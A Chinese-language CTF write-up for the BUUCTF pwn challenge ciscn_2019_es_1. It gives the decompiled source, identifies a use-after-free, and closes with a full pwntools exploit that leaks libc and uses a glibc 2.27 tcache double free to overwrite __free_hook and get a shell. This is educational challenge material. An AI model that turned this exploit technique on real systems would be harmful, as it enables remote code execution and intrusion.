tcache double free BUUCTF ciscn_2019_es_1


Ubuntu 18的 tcache double free没有加入 key 所以会简单很多

主函数:

 1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
 2 {
 3   int v3; // [rsp+24h] [rbp-Ch] BYREF
 4   unsigned __int64 v4; // [rsp+28h] [rbp-8h]
 5 
 6   v4 = __readfsqword(0x28u);
 7   setbuf(stdin, 0LL);
 8   setbuf(stdout, 0LL);
 9   setbuf(stderr, 0LL);
10   puts("I hate 2.29 , can you understand me?");
11   puts("maybe you know the new libc");
12   while ( 1 )
13   {
14     while ( 1 )
15     {
16       menu();
17       __isoc99_scanf("%d", &v3);
18       getchar();
19       if ( v3 != 2 )
20         break;
21       show();
22     }
23     if ( v3 > 2 )
24     {
25       if ( v3 == 3 )
26       {
27         call();
28       }
29       else
30       {
31         if ( v3 == 4 )
32         {
33           puts("Jack Ma doesn't like you~");
34           exit(0);
35         }
36 LABEL_13:
37         puts("Wrong");
38       }
39     }
40     else
41     {
42       if ( v3 != 1 )
43         goto LABEL_13;
44       add();
45     }
46   }
47 }

add函数: 会开一个结构体维护堆块

 1 unsigned __int64 add()
 2 {
 3   int v1; // [rsp+4h] [rbp-3Ch]
 4   void **v2; // [rsp+8h] [rbp-38h]
 5   size_t size[5]; // [rsp+10h] [rbp-30h] BYREF
 6   unsigned __int64 v4; // [rsp+38h] [rbp-8h]
 7 
 8   v4 = __readfsqword(0x28u);
 9   if ( heap_number > 12 )
10   {
11     puts("Enough!");
12     exit(0);
13   }
14   v1 = heap_number;
15   *((_QWORD *)&heap_addr + v1) = malloc(0x18uLL);
16   puts("Please input the size of compary's name");
17   __isoc99_scanf("%d", size);
18   *(_DWORD *)(*((_QWORD *)&heap_addr + heap_number) + 8LL) = size[0];
19   v2 = (void **)*((_QWORD *)&heap_addr + heap_number);
20   *v2 = malloc(LODWORD(size[0]));
21   puts("please input name:");
22   read(0, **((void ***)&heap_addr + heap_number), LODWORD(size[0]));
23   puts("please input compary call:");
24   read(0, (void *)(*((_QWORD *)&heap_addr + heap_number) + 12LL), 0xCuLL);
25   *(_BYTE *)(*((_QWORD *)&heap_addr + heap_number) + 23LL) = 0;
26   puts("Done!");
27   ++heap_number;
28   return __readfsqword(0x28u) ^ v4;
29 }

show函数:

 1 unsigned __int64 show()
 2 {
 3   int index; // [rsp+4h] [rbp-Ch] BYREF
 4   unsigned __int64 v2; // [rsp+8h] [rbp-8h]
 5 
 6   v2 = __readfsqword(0x28u);
 7   puts("Please input the index:");
 8   __isoc99_scanf("%d", &index);
 9   getchar();
10   if ( *((_QWORD *)&heap_addr + index) )
11   {
12     puts("name:");
13     puts(**((const char ***)&heap_addr + index));
14     puts("phone:");
15     puts((const char *)(*((_QWORD *)&heap_addr + index) + 12LL));
16   }
17   puts("Done!");
18   return __readfsqword(0x28u) ^ v2;
19 }

delete函数:有一个 UAF 可以泄露 libc 基址

 1 unsigned __int64 call()
 2 {
 3   int v1; // [rsp+4h] [rbp-Ch] BYREF
 4   unsigned __int64 v2; // [rsp+8h] [rbp-8h]
 5 
 6   v2 = __readfsqword(0x28u);
 7   puts("Please input the index:");
 8   __isoc99_scanf("%d", &v1);
 9   if ( *((_QWORD *)&heap_addr + v1) )
10     free(**((void ***)&heap_addr + v1));  //UAF
11   puts("You try it!");
12   puts("Done");
13   return __readfsqword(0x28u) ^ v2;
14 }

先是一个 unsorted bin leak 泄露 libc,再用 tcache double free 来改 free_hook 为 system 或者 one_gadget 都行。

exp:

 1 from pwn import *
 2 context.arch='amd64'
 3 context.log_level='debug'
 4 
 5 s=remote('node4.buuoj.cn',25183)
 6 #s=process('./1')
 7 elf=ELF('./1')
 8 #libc=ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so')
 9 libc=ELF('./libc-2.27a.so')
10 
11 def add(size,name,call):
12     s.recvuntil(b'choice:')
13     s.sendline(b'1')
14     s.recvuntil(b"Please input the size of compary's name\n")
15     s.sendline(str(size))
16     s.recvuntil(b"please input name:\n")
17     s.send(name)
18     s.recvuntil(b"please input compary call:\n")
19     s.send(call)
20 
21 def show(index):
22     s.recvuntil(b'choice:')
23     s.sendline(b'2')
24     s.recvuntil(b"Please input the index:\n")
25     s.sendline(str(index))
26 
27 def delete(index):
28     s.recvuntil(b'choice:')
29     s.sendline(b'3')
30     s.recvuntil(b"Please input the index:\n")
31     s.sendline(str(index))
32 
33 
34 add(0x410,b'aaa',b'111')         #0
35 add(0x20 ,b'bbb',b'222')         #1
36 add(0x10 ,b'/bin/sh\x00',b'333') #2
37 
38 delete(0)
39 show(0)
40 
41 s.recvuntil(b'name:\n')
42 __malloc_hook = u64(s.recv(6).ljust(8,b'\x00')) - 96 - 0x10
43 libc_base = __malloc_hook - libc.sym['__malloc_hook']
44 __free_hook = libc_base + libc.sym['__free_hook']
45 __malloc_hook = libc_base + libc.sym['__malloc_hook']
46 system_addr = libc_base + libc.sym['system']
47 success('libc_base=>'+hex(libc_base))
48 
49 delete(1)
50 delete(1)
51 add(0x20,p64(__free_hook),b'111')
52 add(0x20,b'ccc',b'111')
53 one_gadget=libc_base+0x4f322
54 add(0x20,p64(one_gadget),b'222')
55 #gdb.attach(s)
56 
57 s.interactive()